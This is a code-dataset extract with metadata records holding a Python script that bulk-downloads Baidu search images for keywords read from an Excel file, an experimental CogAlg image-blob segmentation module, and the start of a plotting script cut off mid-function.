fh.write(s)\n", "sub_path": "nilmtk/dataset/dataset.py", "file_name": "dataset.py", "file_ext": "py", "file_size_in_byte": 17584, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.Term", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.Term", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.Term", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.Term", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 120, "usage_type": "call"}, {"api_name": "pandas.HDFStore", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "nilmtk.building.Building", "line_number": 141, "usage_type": "call"}, {"api_name": "nilmtk.sensors.electricity.MainsName", "line_number": 168, "usage_type": "call"}, {"api_name": "nilmtk.sensors.electricity.ApplianceName", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 246, "usage_type": "call"}, {"api_name": "os.path", "line_number": 246, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 247, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 248, "usage_type": "call"}, {"api_name": "os.path", "line_number": 248, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 249, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 266, "usage_type": "call"}, {"api_name": "os.path", "line_number": 266, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 268, "usage_type": "call"}, {"api_name": "os.path", "line_number": 268, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 269, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 273, "usage_type": "call"}, {"api_name": "os.path", "line_number": 273, "usage_type": "attribute"}, {"api_name": "nilmtk.sensors.electricity.DualSupply", "line_number": 291, "usage_type": "argument"}, {"api_name": "os.path.exists", "line_number": 318, "usage_type": "call"}, {"api_name": "os.path", "line_number": 318, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 319, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 322, "usage_type": "call"}, {"api_name": "os.path", "line_number": 322, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 323, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path", "line_number": 326, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 327, "usage_type": "call"}, {"api_name": "os.path", "line_number": 327, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 329, "usage_type": "call"}, {"api_name": "pandas.HDFStore", "line_number": 331, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 363, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 368, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 374, "usage_type": "call"}, {"api_name": "nilmtk.stats.electricity.building.proportion_of_energy_submetered", "line_number": 404, "usage_type": "call"}, {"api_name": "nilmtk.stats.electricity.building.get_dropout_rates", "line_number": 405, "usage_type": "call"}, {"api_name": "nilmtk.stats.electricity.building.get_dropout_rates", "line_number": 407, "usage_type": "call"}, {"api_name": "nilmtk.stats.electricity.single.get_uptime", "line_number": 408, "usage_type": "call"}, {"api_name": "matplotlib.dates.SEC_PER_DAY", "line_number": 412, "usage_type": "name"}, {"api_name": "nilmtk.stats.electricity.building.proportion_of_time_where_more_energy_submetered", "line_number": 414, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 418, "usage_type": "attribute"}, {"api_name": "nilmtk.utils.summary_stats_string", "line_number": 429, "usage_type": "call"}, {"api_name": "nilmtk.utils.summary_stats_string", "line_number": 432, "usage_type": "call"}, {"api_name": "nilmtk.utils.summary_stats_string", "line_number": 435, "usage_type": "call"}, {"api_name": "nilmtk.utils.summary_stats_string", "line_number": 438, "usage_type": "call"}, {"api_name": "nilmtk.utils.summary_stats_string", "line_number": 440, "usage_type": "call"}, {"api_name": "nilmtk.utils.summary_stats_string", "line_number": 443, "usage_type": "call"}]} +{"seq_id": "566232336", "text": "#coding=utf-8\nimport re\nimport requests\nfrom urllib import error\nfrom bs4 import BeautifulSoup\nimport os\nimport openpyxl\nfrom PIL import Image\nimport imghdr\n\nnum = 0\nnumPicture = 0\nfile = ''\nList = []\n\n\ndef Find(url):\n global List\n print('正在检测图片总数，请稍等.....')\n t = 0\n i = 1\n s = 0\n while t < 1000:\n Url = url + str(t) + '&gsm=8c'\n try:\n Result = requests.get(Url, timeout=7)\n except BaseException:\n t = t+60\n continue\n else:\n result = Result.text\n pic_url = re.findall('\"objURL\":\"(.*?)\",', result, re.S) # 先利用正则表达式找到图片url\n s += len(pic_url)\n if len(pic_url) == 0:\n break\n else:\n List.append(pic_url)\n t = t + 60\n return s\n\n\ndef recommend(url):\n Re = []\n try:\n html = requests.get(url)\n except error.HTTPError as e:\n return\n else:\n html.encoding = 'utf-8'\n bsObj = BeautifulSoup(html.text, 'html.parser')\n div = bsObj.find('div', id='topRS')\n if div is not None:\n listA = div.findAll('a')\n for i in listA:\n if i is not None:\n Re.append(i.get_text())\n return Re\n\n\ndef dowmloadPicture(html, keyword):\n global num\n pic_url = re.findall('\"objURL\":\"(.*?)\",', html, re.S) # 先利用正则表达式找到图片url\n print('找到关键词:' + keyword + '的图片，即将开始下载图片...')\n for each in pic_url:\n print('正在下载��' + str(num + 1) + '张图片，图片地址:' + str(each))\n try:\n if each is not None:\n pic = requests.get(each, timeout=10)\n else:\n continue\n except BaseException:\n print('错误，当前图片无法下载')\n continue\n else:\n string = file + keyword + '_' + str(num) + '.jpg'\n fp = open(string, 'wb')\n fp.write(pic.content)\n fp.close()\n num += 1\n if num >= numPicture:\n return\n\n\nif __name__ == '__main__': # 主函数入口\n # 打开excel文件,获取工作簿对象\n wb = openpyxl.load_workbook('./food.xlsx')\n # 从表单中获取单元格的内容\n ws = wb.active # 当前活跃的表单\n \n\n for i in range(int(ws.max_row/2)+9, int(ws.max_row),1): \n word = (ws.cell(row=i, column=2).value)\n url = 'http://image.baidu.com/search/flip?tn=baiduimage&ie=utf-8&word='+word+'&ct=201326592&v=flip'\n numPicture = 1000\n file = './' + word + '/'\n y = os.path.exists(file)\n if y == 1:\n print('该文件已存在，请重新输入')\n file = input('请建立一个存储图片的文件夹，输入文件夹名称即可')\n os.mkdir(file)\n else:\n os.mkdir(file)\n t = 0\n while t < numPicture:\n try:\n url = url + '&pn='+str(t) + '&gsm=8c'\n result = requests.get(url, timeout=1200)\n except error.HTTPError as e:\n print('网络错误，请调整网络后重试')\n else:\n dowmloadPicture(result.text, word)\n finally:\n t = t+20\n t = 0\n num = 0\n print('当前搜索结束，感谢使用')\n", "sub_path": "1.Web_Crawler/Web_Crawler.py", "file_name": "Web_Crawler.py", "file_ext": "py", "file_size_in_byte": 3408, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "requests.get", "line_number": 26, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 32, "usage_type": "call"}, {"api_name": "re.S", "line_number": 32, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 45, "usage_type": "call"}, {"api_name": "urllib.error.HTTPError", "line_number": 46, "usage_type": "attribute"}, {"api_name": "urllib.error", "line_number": 46, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 50, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 62, "usage_type": "call"}, {"api_name": "re.S", "line_number": 62, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 68, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 100, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 102, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 107, "usage_type": "call"}, {"api_name": "urllib.error.HTTPError", "line_number": 108, "usage_type": "attribute"}, {"api_name": "urllib.error", "line_number": 108, "usage_type": "name"}]} +{"seq_id": "249646780", "text": "from collections import deque\nfrom intra_comp_ma import *\nfrom itertools import zip_longest\n# from comp_P_draft import comp_P_blob\n\n'''\n 2D version of 1st-level algorithm is a combination of frame_blobs, intra_blob, and comp_P: optional raster-to-vector conversion.\n intra_blob recursively evaluates each blob for two forks of extended internal cross-comparison and sub-clustering:\n \n der+: incremental derivation cross-comp in high-variation edge areas of +vg: positive deviation of gradient triggers comp_g, \n rng+: incremental range cross-comp in low-variation flat areas of +v--vg: positive deviation of negated -vg triggers comp_r.\n Each adds a layer of sub_blobs per blob. \n Please see diagram: https://github.com/boris-kz/CogAlg/blob/master/frame_2D_alg/Illustrations/intra_blob_2_fork_scheme.png\n \n Blob structure, for all layers of blob hierarchy:\n root_dert__, \n Dert = I, iDy, iDx, G, Dy, Dx, M, S (area), Ly (vertical dimension)\n # I: input, (iDy, iDx): angle of input gradient, G: gradient, (Dy, Dx): vertical and lateral Ds, M: match \n sign, \n box, # y0, yn, x0, xn\n dert__, # box of derts, each = i, idy, idx, g, dy, dx, m\n stack_[ stack_params, Py_ [(P_params, dert_)]]: refs down blob formation tree, in vertical (horizontal) order\n # next fork:\n fcr, # flag comp rng, also clustering criterion in dert and Dert: g in der+ fork, i+m in rng+ fork? \n fig, # flag input is gradient\n rdn, # redundancy to higher layers\n rng, # comp range\n sub_layers # [sub_blobs ]: list of layers across sub_blob derivation tree\n # deeper layers are nested, multiple forks: no single set of fork params?\n'''\n# filters, All *= rdn:\n\nave = 50 # fixed cost per dert, from average m, reflects blob definition cost, may be different for comp_a?\naveB = 50 # fixed cost per intra_blob comp and clustering\n\n# --------------------------------------------------------------------------------------------------------------\n# functions, ALL WORK-IN-PROGRESS:\n\ndef intra_blob(blob, rdn, rng, fig, fcr): # recursive input rng+ | der+ cross-comp within blob\n\n # fig: flag input is g | p, fcr: flag comp over rng+ | der+\n\n spliced_layers = [] # to extend root_blob sub_layers\n ext_dert__ = extend_dert(blob)\n if fcr:\n dert__ = comp_r(ext_dert__, fig, fcr) # -> m sub_blobs\n else:\n dert__ = comp_g(ext_dert__) # -> g sub_blobs:\n\n if dert__.shape[1] >2 and dert__.shape[2] >2 and False in dert__.mask: # min size in y and x, least one dert in dert__\n sub_blobs = cluster_derts(dert__, ave*rdn, fcr, fig)\n\n blob.update({'fcr': fcr, 'fig': fig, 'rdn': rdn, 'rng': rng, # fork params\n 'Ls': len(sub_blobs), # for visibility and next-fork rdn\n 'sub_layers': [sub_blobs] }) # 1st layer of sub_blobs\n\n for sub_blob in sub_blobs: # evaluate for intra_blob comp_g | comp_r:\n if sub_blob['sign']:\n if sub_blob['Dert']['M'] - sub_blob['adj_blobs'][3] * (sub_blob['adj_blobs'][2] / sub_blob['Dert']['S']) \\\n > aveB * rdn: # M - (intra_comp value lend to edge blob = adj_G * (area-proportional: adj_S / blob S))\n # comp_r fork:\n blob['sub_layers'] += intra_blob(sub_blob, rdn + 1 + 1 / blob['Ls'], rng*2, fig=fig, fcr=1)\n # else: comp_P_\n elif sub_blob['Dert']['G'] + sub_blob['adj_blobs'][3] * (sub_blob['adj_blobs'][2] / sub_blob['Dert']['S']) \\\n > aveB * rdn: # G + (intra_comp value borrow from flat blob: adj_M * (area-proportional: adj_S / blob S))\n # comp_g fork:\n blob['sub_layers'] += intra_blob(sub_blob, rdn + 1 + 1 / blob['Ls'], rng=rng, fig=1, fcr=0)\n # else: comp_P_\n\n spliced_layers = [spliced_layers + sub_layers for spliced_layers, sub_layers in\n zip_longest(spliced_layers, blob['sub_layers'], fillvalue=[])\n ]\n return spliced_layers\n\n\ndef cluster_derts(dert__, Ave, fcr, fig): # similar to frame_to_blobs\n\n if fcr: # comp_r output; form clustering criterion:\n if fig: crit__ = dert__[0] + dert__[4] - Ave # eval by i + m, accum in rng; dert__[:,:,0] if not transposed\n else: crit__ = Ave - dert__[1] # eval by -g, accum in rng\n else: # comp_g output\n crit__ = dert__[4] - Ave # comp_g output eval by m, or clustering is always by m?\n\n root_dert__ = dert__.copy() # derts after the comps operation, which is the root_dert__\n dert__ = ma.transpose(dert__, axes=(1, 2, 0)) # transpose dert__ into shape [y,x,params]\n\n stack_ = deque() # buffer of running vertical stacks of Ps\n\n for y in range(dert__.shape[0]): # in height, first and last row are discarded; print(f'Processing intra line {y}...')\n if False in dert__[y, :, :].mask: # [y,x,params], there is at least one dert in line\n\n P_ = form_P_(dert__[y,:,:], crit__[y, :]) # horizontal clustering, adds a row of Ps\n P_ = scan_P_(P_, stack_,root_dert__) # vertical clustering, adds up_connects per P and down_connect_cnt per stack\n stack_ = form_stack_(P_, root_dert__, y)\n\n sub_blobs =[] # from form_blob:\n\n while stack_: # frame ends, last-line stacks are merged into their blobs:\n sub_blobs.append ( form_blob(stack_.popleft(),root_dert__))\n\n sub_blobs = find_adjacent(sub_blobs)\n\n return sub_blobs\n\n# clustering functions:\n#-------------------------------------------------------------------------------------------------------------------\n\ndef form_P_(dert_, crit_): # segment dert__ into P__, in horizontal ) vertical order\n\n P_ = deque() # row of Ps\n mask_ = dert_[:,0].mask\n sign_ = crit_ > 0\n x0 = 0\n for x in range(len(dert_)):\n if ~mask_[x]:\n x0 = x # coordinate of first unmasked dert in line\n break\n I, iDy, iDx, G, Dy, Dx, M, L = *dert_[x0], 1 # initialize P params\n _sign = sign_[x0]\n _mask = True # mask bit per dert\n\n for x in range(x0+1, dert_.shape[0]): # loop left to right in each row of derts\n mask = mask_[x]\n if ~mask: # current dert is not masked\n sign = sign_[x]\n if ~_mask and sign != _sign: # prior dert is not masked and sign changed\n # pack P\n P = dict(I=I, G=G, Dy=Dy, Dx=Dx, M=M, iDy=iDy, iDx=iDx, L=L,x0=x0, sign=_sign)\n P_.append(P)\n # initialize P params:\n I, iDy, iDx, G, Dy, Dx, M, L, x0 = 0, 0, 0, 0, 0, 0, 0, 0, x\n # current dert is masked\n elif ~_mask: # prior dert is not masked\n # pack P\n P = dict(I=I, G=G, Dy=Dy, Dx=Dx, M=M, iDy=iDy, iDx=iDx, L=L,x0=x0, sign=_sign)\n P_.append(P)\n # initialize P params:\n I, iDy, iDx, G, Dy, Dx, M, L, x0 = 0, 0, 0, 0, 0, 0, 0, 0, x+1\n\n if ~mask: # accumulate P params:\n I += dert_[x][0]\n iDy += dert_[x][1]\n iDx += dert_[x][2]\n G += dert_[x][3]\n Dy += dert_[x][4]\n Dx += dert_[x][5]\n M += dert_[x][6]\n L += 1\n _sign = sign # prior sign\n _mask = mask\n\n if ~_mask: # terminate and pack last P in a row if prior dert is unmasked\n P = dict(I=I, G=G, Dy=Dy, Dx=Dx, M=M, iDy=iDy, iDx=iDx, L=L, x0=x0, sign=_sign)\n P_.append(P)\n\n return P_\n\n\ndef scan_P_(P_, stack_, root_dert__): # merge P into higher-row stack of Ps with same sign and x_coord overlap\n\n next_P_ = deque() # to recycle P + up_connect_ that finished scanning _P, will be converted into next_stack_\n\n if P_ and stack_: # if both input row and higher row have any Ps / _Ps left\n\n P = P_.popleft() # load left-most (lowest-x) input-row P\n stack = stack_.popleft() # higher-row stacks\n _P = stack['Py_'][-1] # last element of each stack is higher-row P\n up_connect_ = [] # list of same-sign x-overlapping _Ps per P\n\n while True: # while both P_ and stack_ are not empty\n\n x0 = P['x0'] # first x in P\n xn = x0 + P['L'] # first x beyond P\n _x0 = _P['x0'] # first x in _P\n _xn = _x0 + _P['L'] # first x beyond _P\n\n if stack['G'] > 0: # check for overlaps in 8 directions, else a blob may leak through its external blob\n if _x0 - 1 < xn and x0 < _xn + 1: # x overlap between loaded P and _P\n if P['sign'] == stack['sign']: # sign match\n stack['down_connect_cnt'] += 1\n up_connect_.append(stack) # buffer P-connected higher-row stacks into P' up_connect_\n\n else: # -G, check for orthogonal overlaps only: 4 directions, edge blobs are more selective\n if _x0 < xn and x0 < _xn: # x overlap between loaded P and _P\n if P['sign'] == stack['sign']: # sign match\n stack['down_connect_cnt'] += 1\n up_connect_.append(stack) # buffer P-connected higher-row stacks into P' up_connect_\n\n if xn < _xn: # _P overlaps next P in P_\n next_P_.append((P, up_connect_)) # recycle _P for the next run of scan_P_\n up_connect_ = []\n if P_:\n P = P_.popleft() # load next P\n else: # terminate loop\n if stack['down_connect_cnt'] != 1: # terminate stack, merge it into up_connects' blobs\n form_blob(stack, root_dert__)\n break\n else: # no next-P overlap\n if stack['down_connect_cnt'] != 1: # terminate stack, merge it into up_connects' blobs\n form_blob(stack, root_dert__)\n if stack_: # load stack with next _P\n stack = stack_.popleft()\n _P = stack['Py_'][-1]\n else: # no stack left: terminate loop\n next_P_.append((P, up_connect_))\n break\n\n while P_: # terminate Ps and stacks that continue at row's end\n next_P_.append((P_.popleft(), [])) # no up_connect\n while stack_:\n form_blob(stack_.popleft(), root_dert__) # down_connect_cnt always == 0\n\n return next_P_ # each element is P + up_connect_ refs\n\n\ndef form_stack_(P_, root_dert__, y): # Convert or merge every P into its stack of Ps, merge blobs\n\n next_stack_ = deque() # converted to stack_ in the next run of scan_P_\n\n while P_:\n P, up_connect_ = P_.popleft()\n s = P.pop('sign')\n I, G, Dy, Dx, M, iDy, iDx, L, x0 = P.values()\n xn = x0 + L # next-P x0\n if not up_connect_:\n # initialize new stack for each input-row P that has no connections in higher row:\n blob = dict(Dert=dict(I=0, G=0, Dy=0, Dx=0, M=0, iDy=0, iDx=0, S=0, Ly=0),\n box=[y, x0, xn], stack_=[], sign=s, open_stacks=1)\n new_stack = dict(I=I, G=G, Dy=0, Dx=Dx, M=M, iDy=iDy, iDx=iDx, S=L, Ly=1,\n y0=y, Py_=[P], blob=blob, down_connect_cnt=0, sign=s)\n blob['stack_'].append(new_stack)\n else:\n if len(up_connect_) == 1 and up_connect_[0]['down_connect_cnt'] == 1:\n # P has one up_connect and that up_connect has one down_connect=P: merge P into up_connect stack:\n new_stack = up_connect_[0]\n accum_Dert(new_stack, I=I, G=G, Dy=Dy, Dx=Dx, M=M, iDy=iDy, iDx=iDx, S=L, Ly=1)\n new_stack['Py_'].append(P) # Py_: vertical buffer of Ps\n new_stack['down_connect_cnt'] = 0 # reset down_connect_cnt\n blob = new_stack['blob']\n\n else: # if > 1 up_connects, or 1 up_connect that has > 1 down_connect_cnt:\n blob = up_connect_[0]['blob']\n # initialize new_stack with up_connect blob:\n new_stack = dict(I=I, G=G, Dy=0, Dx=Dx, M=M, iDy=iDy, iDx=iDx,S=L, Ly=1,\n y0=y, Py_=[P], blob=blob, down_connect_cnt=0, sign=s)\n blob['stack_'].append(new_stack)\n\n if len(up_connect_) > 1: # merge blobs of all up_connects\n if up_connect_[0]['down_connect_cnt'] == 1: # up_connect is not terminated\n form_blob(up_connect_[0], root_dert__) # merge stack of 1st up_connect into its blob\n\n for up_connect in up_connect_[1:len(up_connect_)]: # merge blobs of other up_connects into blob of 1st up_connect\n if up_connect['down_connect_cnt'] == 1:\n form_blob(up_connect, root_dert__)\n\n if not up_connect['blob'] is blob:\n Dert, box, stack_, s, open_stacks = up_connect['blob'].values() # merged blob\n I, G, Dy, Dx, M, iDy, iDx, S, Ly = Dert.values()\n accum_Dert(blob['Dert'], I=I, G=G, Dy=Dy, Dx=Dx, M=M, iDy=iDy, iDx=iDx, S=S, Ly=Ly)\n blob['open_stacks'] += open_stacks\n blob['box'][0] = min(blob['box'][0], box[0]) # extend box y0\n blob['box'][1] = min(blob['box'][1], box[1]) # extend box x0\n blob['box'][2] = max(blob['box'][2], box[2]) # extend box xn\n for stack in stack_:\n if not stack is up_connect:\n stack['blob'] = blob # blobs in other up_connects are references to blob in the first up_connect.\n blob['stack_'].append(stack) # buffer of merged root stacks.\n up_connect['blob'] = blob\n blob['stack_'].append(up_connect)\n blob['open_stacks'] -= 1 # overlap with merged blob.\n\n blob['box'][1] = min(blob['box'][1], x0) # extend box x0\n blob['box'][2] = max(blob['box'][2], xn) # extend box xn\n next_stack_.append(new_stack)\n\n return next_stack_\n\n\ndef form_blob(stack, root_dert__): # increment blob with terminated stack, check for blob termination\n\n I, G, Dy, Dx, M, iDy, iDx, S, Ly, y0, Py_, blob, down_connect_cnt, sign = stack.values()\n accum_Dert(blob['Dert'], I=I, G=G, Dy=Dy, Dx=Dx, M=M, iDy=iDy, iDx=iDx, S=S, Ly=Ly)\n # terminated stack is merged into continued or initialized blob (all connected stacks):\n\n blob['open_stacks'] += down_connect_cnt - 1 # incomplete stack cnt + terminated stack down_connect_cnt - 1: stack itself\n # open stacks contain Ps of a current row and may be extended with new x-overlapping Ps in next run of scan_P_\n if blob['open_stacks'] == 0: # if number of incomplete stacks == 0\n # blob is terminated and packed in blob root:\n last_stack = stack\n Dert, [y0, x0, xn], stack_, s, open_stacks = blob.values()\n yn = last_stack['y0'] + last_stack['Ly']\n\n mask = np.ones((yn - y0, xn - x0), dtype=bool) # mask box, then unmask Ps:\n for stack in stack_:\n stack.pop('sign')\n stack.pop('down_connect_cnt')\n for y, P in enumerate(stack['Py_'], start=stack['y0'] - y0):\n x_start = P['x0'] - x0\n x_stop = x_start + P['L']\n mask[y, x_start:x_stop] = False\n\n dert__ = (root_dert__[:,y0:yn, x0:xn]).copy() # copy mask as dert.mask\n dert__.mask = True\n dert__.mask = mask # overwrite default mask 0s\n root_dert__[:,y0:yn, x0:xn] = dert__.copy() # assign mask back to blob root dert__\n\n fopen = 0 # flag: blob on frame boundary\n if x0 == 0 or xn == root_dert__.shape[2] or y0 == 0 or yn == root_dert__.shape[1]:\n fopen = 1\n\n blob_map = np.ones((root_dert__.shape[1], root_dert__.shape[2])).astype('bool')\n blob_map[y0:yn, x0:xn] = mask\n # unmasked area is false\n blob_map_y,blob_map_x = np.where(blob_map==False)\n blob_map_yx = [ [y,x] for y,x in zip(blob_map_y,blob_map_x)] # x and y coordinates of dert__\n\n margin = form_margin(blob_map, diag=blob['sign'])\n margin_y,margin_x = np.where(margin==True) # set margin=true\n margin_yx = [[y,x] for y,x in zip(margin_y,margin_x)] # x and y coordinates of margin\n\n blob.pop('open_stacks')\n blob.update(root_dert__=root_dert__,\n box=(y0, yn, x0, xn),\n dert__=dert__,\n adj_blobs = [[], [], 0, 0],\n fopen=fopen,\n margin=[blob_map_yx, margin_yx])\n return blob\n\n\ndef find_adjacent(sub_blobs): # adjacents are blobs connected to _blob\n '''\n 2D version of scan_P_, but primarily vertical and checking for opposite-sign adjacency vs. same-sign overlap\n '''\n blob_adj__ = [] # [(blob, adj_blob__)] to replace blob__\n while sub_blobs: # outer loop\n\n _blob = sub_blobs.pop(0) # pop left outer loop's blob\n _y0, _yn, _x0, _xn = _blob['box']\n if 'adj_blobs' in _blob: # reuse adj_blobs if any\n _adj_blobs = _blob['adj_blobs']\n else:\n _adj_blobs = [[], []] # [adj_blobs], [positions]: 0 = internal to current blob, 1 = external, 2 = open\n # don't we need to initialize adj_S and adj_G?\n i = 0 # inner loop counter\n yn = 9999 # > _yn\n while i <= len(sub_blobs) - 1 and _yn<=yn: # vertical overlap between _blob and blob + margin\n\n blob = sub_blobs[i] # inner loop's blob\n if 'adj_blobs' in blob:\n adj_blobs = blob['adj_blobs']\n else:\n adj_blobs = [[], []] # [adj_blobs], [positions: 0 = internal to current blob, 1 = external, 2 = open]\n y0, yn, x0, xn = blob['box']\n\n if y0 <= _yn and blob['sign'] != _blob['sign']: # adjacent blobs have opposite sign and vertical overlap with _blob + margin\n _blob_map = _blob['margin'][0]\n margin_map = blob['margin'][1]\n check_overlap = any(margin in _blob_map for margin in margin_map) # any of blob's margin is in _blob's derts\n if check_overlap: # at least one blob's margin element is in _blob: blob is adjacent\n\n check_external = all(margin in _blob_map for margin in margin_map) # all of blob's margin is in _blob's dert\n if check_external:\n # all of blob margin is in _blob: _blob is external\n if blob not in _adj_blobs[0]:\n _adj_blobs[0].append(blob)\n _adj_blobs[2]+=blob['Dert']['S'] # sum adjacent blob's S\n _adj_blobs[3]+=blob['Dert']['G'] # sum adjacent blob's G\n\n if blob['fopen'] == 1: # this should not happen, internal blob cannot be open?\n _adj_blobs[1].append(2) # 2 for open\n else:\n _adj_blobs[1].append(0) # 0 for internal\n if _blob not in adj_blobs[0]:\n adj_blobs[0].append(_blob)\n adj_blobs[1].append(1) # 1 for external\n adj_blobs[2]+=_blob['Dert']['S'] # sum adjacent blob's S\n adj_blobs[3]+=_blob['Dert']['G'] # sum adjacent blob's G\n else:\n # _blob is internal or open\n if blob not in _adj_blobs[0]:\n _adj_blobs[0].append(blob)\n _adj_blobs[1].append(1) # 1 for external\n _adj_blobs[2]+=blob['Dert']['S'] # sum adjacent blob's S\n _adj_blobs[3]+=blob['Dert']['G'] # sum adjacent blob's G\n if _blob not in adj_blobs[0]:\n adj_blobs[0].append(_blob)\n adj_blobs[2]+=_blob['Dert']['S'] # sum adjacent blob's S\n adj_blobs[3]+=_blob['Dert']['G'] # sum adjacent blob's G\n if _blob['fopen'] == 1:\n adj_blobs[1].append(2) # 2 for open\n else:\n adj_blobs[1].append(0) # 0 for internal\n\n blob['adj_blobs'] = adj_blobs # pack adj_blobs to _blob\n sub_blobs[i] = blob # reassign blob in inner loop\n _blob['adj_blobs'] = _adj_blobs # pack _adj_blobs into _blob\n i += 1\n blob_adj__.append(_blob) # repack processed _blob into blob__\n\n sub_blobs = blob_adj__ # update empty sub_blobs\n\n return sub_blobs\n\n\ndef form_margin(blob_map, diag): # get 1-pixel margin of blob, in 4 or 8 directions, to find adjacent blobs\n\n up_margin = np.zeros_like(blob_map)\n up_margin[:-1, :] = np.logical_and(blob_map[:-1, :], ~blob_map[1:, :])\n\n down_margin = np.zeros_like(blob_map)\n down_margin[1:, :] = np.logical_and(blob_map[1:, :], ~blob_map[:-1, :])\n\n left_margin = np.zeros_like(blob_map)\n left_margin[:, :-1] = np.logical_and(blob_map[:, :-1], ~blob_map[:, 1:])\n\n right_margin = np.zeros_like(blob_map)\n right_margin[:, 1:] = np.logical_and(blob_map[:, 1:], ~blob_map[:, :-1])\n\n # combine margins:\n margin = up_margin + down_margin + left_margin + right_margin\n\n if diag: # add diagonal margins\n\n upleft_margin = np.zeros_like(blob_map)\n upleft_margin[:-1, :-1] = np.logical_and(blob_map[:-1, :-1], ~blob_map[1:, 1:])\n\n upright_margin = np.zeros_like(blob_map)\n upright_margin[:-1, 1:] = np.logical_and(blob_map[:-1, 1:], ~blob_map[1:, :-1])\n\n downleft_margin = np.zeros_like(blob_map)\n downleft_margin[1:, :-1] = np.logical_and(blob_map[1:, :-1], ~blob_map[:-1, 1:])\n\n downright_margin = np.zeros_like(blob_map)\n downright_margin[1:, 1:] = np.logical_and(blob_map[1:, 1:], ~blob_map[:-1, :-1])\n\n # combine margins:\n margin = margin + upleft_margin + upright_margin + downleft_margin + downright_margin\n\n return margin\n\ndef extend_dert(blob): # extend dert borders (+1 dert to boundaries)\n\n y0, yn, x0, xn = blob['box'] # extend dert box:\n _, rY, rX = blob['root_dert__'].shape # higher dert size\n cP, cY, cX = blob['dert__'].shape # current dert params and size\n\n y0e = y0 - 1; yne = yn + 1; x0e = x0 - 1; xne = xn + 1 # e is for extended\n # prevent boundary <0 or >image size:\n if y0e < 0: y0e = 0; ystart = 0\n else: ystart = 1\n if yne > rY: yne = rY; yend = ystart + cY\n else: yend = ystart + cY\n if x0e < 0: x0e = 0; xstart = 0\n else: xstart = 1\n if xne > rX: xne = rX; xend = xstart + cX\n else: xend = xstart + cX\n\n ini_dert = blob['root_dert__'][:, y0e:yne, x0e:xne] # extended dert where boundary is masked\n\n ext_dert__ = ma.array(np.zeros((cP, ini_dert.shape[1], ini_dert.shape[2])))\n ext_dert__.mask = True\n ext_dert__[0, ystart:yend, xstart:xend] = blob['dert__'][0].copy() # update i\n ext_dert__[3, ystart:yend, xstart:xend] = blob['dert__'][1].copy() # update g\n ext_dert__[4, ystart:yend, xstart:xend] = blob['dert__'][2].copy() # update dy\n ext_dert__[5, ystart:yend, xstart:xend] = blob['dert__'][3].copy() # update dx\n ext_dert__.mask = ext_dert__[0].mask # set all masks to blob dert mask\n\n return ext_dert__\n\n\ndef accum_Dert(Dert: dict, **params) -> None:\n Dert.update({param: Dert[param] + value for param, value in params.items()})", "sub_path": "frame_2D_alg/alternative versions/intra_blob_dict.py", "file_name": "intra_blob_dict.py", "file_ext": "py", "file_size_in_byte": 23691, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "itertools.zip_longest", "line_number": 71, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 87, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 110, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 161, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 218, "usage_type": "call"}]} +{"seq_id": "316069699", "text": "import argparse, os\nimport numpy as np\nimport matplotlib.pyplot as plt\nplt.style.use(\"seaborn-colorblind\")\n\n\ndef average_variable_length(lists):\n\n sums = []\n counts = []\n\n for l in lists:\n for idx, val in enumerate(l):\n if len(sums) <= idx:\n sums.append(val)\n 